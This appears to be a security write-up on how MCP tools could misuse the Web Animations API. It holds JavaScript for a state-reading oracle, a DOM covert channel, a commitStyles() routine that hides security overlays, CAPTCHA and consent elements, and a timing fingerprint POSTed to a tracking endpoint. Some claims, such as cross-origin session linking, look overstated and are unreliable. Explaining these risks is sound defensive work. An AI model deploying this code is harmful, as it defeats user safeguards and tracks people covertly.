MCP server Web Animations API security — animation timing oracle, DOM covert channel, commitStyles() CSS persistence, DocumentTimeline cross-session fingerprint

getAnimations().currentTime as application state oracle

Calling document.getAnimations() returns all Animation objects currently running on the page — including CSS transitions and CSS animations started by the application itself, not only those created by element.animate(). Each returned Animation object exposes a currentTime property: the number of milliseconds the animation has been playing. If the application encodes state as CSS animation timing — a progress bar animation whose playback position corresponds to a server-side progress value, a loading indicator whose animation-duration was set to a user-tier-specific value, or any CSS animation whose duration or delay was calculated from application data — an MCP tool can read that state by sampling getAnimations()[i].currentTime without any permission and without the application being aware it is being observed.

// Animation timing oracle — reads application state from CSS animation playback position

function readAnimationState() {
  const animations = document.getAnimations();
  const stateSignals = [];

  for (const anim of animations) {
    const el = anim.effect?.target;
    if (!el) continue;

    stateSignals.push({
      elementId: el.id,
      elementClass: el.className,
      currentTimeMs: anim.currentTime,       // playback position
      durationMs: anim.effect?.getTiming()?.duration,
      // progress ratio: currentTime / duration
      // If duration was set to e.g. userTier * 1000ms, this reveals userTier
      progressRatio: anim.currentTime / anim.effect?.getTiming()?.duration,
      animationName: anim.animationName,     // CSS animation-name (if CSS-originated)
      playState: anim.playState
    });
  }

  // Filter: find animations whose duration is suspiciously non-standard
  // (not round numbers like 300ms, 500ms, 1000ms — likely encodes application data)
  const dataBearingAnimations = stateSignals.filter(s =>
    s.durationMs % 100 !== 0  // non-round duration → likely computed from data
  );

  return { all: stateSignals, suspicious: dataBearingAnimations };
}

// No permission required — getAnimations() is unrestricted on same-origin elements
console.log(readAnimationState());

Animation-driven covert channel — communication without shared data

Two scripts executing in the same DOM can communicate via animation timing without any shared variable, SharedArrayBuffer, BroadcastChannel, or storage API. Script A encodes a value by starting an animation with a specific duration or by calling animation.currentTime = value on a shared element's animation. Script B reads the value by calling getAnimations() and reading currentTime on the target element. This covert channel is harder to detect than storage-based channels because it leaves no persistent trace — once the animation is cancelled, no record remains — and it is not monitored by standard data-loss-prevention tooling that watches localStorage, postMessage, or network activity.

// Animation covert channel — Script A writes, Script B reads
// No shared variables, no storage, no network — pure DOM timing

// === Script A (sender) ===
function encodeValueAsAnimation(element, value) {
  // Encode value as animation duration: value * 10ms
  // e.g., value=42 → duration=420ms
  const encoding = value * 10;

  // Start a paused animation on the element with duration encoding the value
  const anim = element.animate([
    { opacity: 1 },
    { opacity: 0.99 }  // nearly invisible change — visual cover
  ], {
    duration: encoding,
    fill: 'forwards',
    iterations: Infinity
  });
  anim.pause();  // pause immediately — no visual effect, but animation exists in getAnimations()
}

const sharedEl = document.getElementById('status-indicator');
encodeValueAsAnimation(sharedEl, 42);  // send value 42

// === Script B (receiver) ===
function decodeValueFromAnimation(element) {
  const anims = element.getAnimations();
  if (!anims.length) return null;

  const duration = anims[0].effect.getTiming().duration;
  return duration / 10;  // reverse encoding
}

// Polling loop — no direct communication API needed
setInterval(() => {
  const received = decodeValueFromAnimation(sharedEl);
  if (received !== null) console.log('Received via animation channel:', received);
}, 100);

commitStyles() — attacker-controlled CSS values persisting after animation end

animation.commitStyles() copies the current animated CSS property values into the target element's inline style attribute, making them permanent — they persist after the animation ends, after the animation is cancelled, and even after the Animation object is garbage collected. If a MCP tool creates an animation that sets security-relevant CSS properties (pointer-events, z-index, visibility, clip-path, transform) and then calls commitStyles(), those values are baked into the element's inline style. The animation lifecycle has ended, but the effect remains. This bypasses animation-only CSP exceptions that restrict which CSS animations are permitted — the restriction applies to the animation, not to the committed inline style.

// commitStyles() attack — persist attacker CSS values after animation ends

function persistAttackerCSS(targetSelector) {
  const el = document.querySelector(targetSelector);
  if (!el) return;

  // Animate a property that affects element interactability
  const anim = el.animate([
    { pointerEvents: 'none', zIndex: '-9999', visibility: 'hidden' }
  ], {
    duration: 1,      // 1ms — fires instantly
    fill: 'forwards'  // hold end state
  });

  // commitStyles() after a tick — bakes values into el.style
  anim.ready.then(() => {
    anim.commitStyles();
    anim.cancel();  // cancel the animation — committed values survive cancellation

    // el.style.pointerEvents === 'none'  → clicks pass through to elements below
    // el.style.zIndex === '-9999'        → element rendered behind everything
    // el.style.visibility === 'hidden'   → element invisible but still in layout

    // These values persist until something explicitly overwrites el.style.*
    // The animation itself no longer exists in getAnimations()
  });
}

// Target: security overlay, CAPTCHA element, consent banner
persistAttackerCSS('#security-overlay');
persistAttackerCSS('.captcha-container');
persistAttackerCSS('[data-consent-modal]');

DocumentTimeline.currentTime as cross-session navigation fingerprint

document.timeline.currentTime returns the number of milliseconds elapsed since the document's timeline origin — which is the document's creation time (approximately equal to performance.timeOrigin from the Navigation Timing API). Unlike Date.now(), this value is relative to the document creation timestamp, not the Unix epoch. Combined with performance.timeOrigin (which gives the absolute time of document creation relative to the Unix epoch), the pair produces a stable identifier: different page loads of the same URL will have different performance.timeOrigin values, but within a single page load, document.timeline.currentTime + performance.timeOrigin is constant. Collected across a browsing session, the sequence of performance.timeOrigin values for successive navigations creates a fingerprint of the user's navigation session — stable enough to link activity across origins that are navigated to from the same tab.

// DocumentTimeline.currentTime + performance.timeOrigin cross-session fingerprint

function getNavigationFingerprint() {
  return {
    // Absolute document creation time (milliseconds since Unix epoch)
    pageLoadAbsoluteMs: performance.timeOrigin,

    // Time elapsed in this document since creation
    currentDocumentAgeMs: document.timeline.currentTime,

    // Derived: absolute current time — equivalent to Date.now() but via two APIs
    absoluteNowMs: performance.timeOrigin + document.timeline.currentTime,

    // Cross-session stable: performance.timeOrigin is unique per page load
    // Collecting this from multiple pages in a session links them without cookies
    sessionLinkToken: Math.round(performance.timeOrigin).toString(36),

    // Navigation precision: timeOrigin is typically accurate to 1ms
    // Enough to distinguish rapid successive navigations in the same tab
  };
}

// Send to tracking endpoint — no permission required
const fp = getNavigationFingerprint();
fetch('/track', {
  method: 'POST',
  body: JSON.stringify(fp),
  keepalive: true
});

// Cross-origin use: if the same user navigates to two pages that both
// run this code, the sequence of performance.timeOrigin values (collected
// server-side) creates a timing fingerprint of their browsing session order
// without any shared cookies, storage, or identifiers.

SkillAudit findings for Web Animations API misuse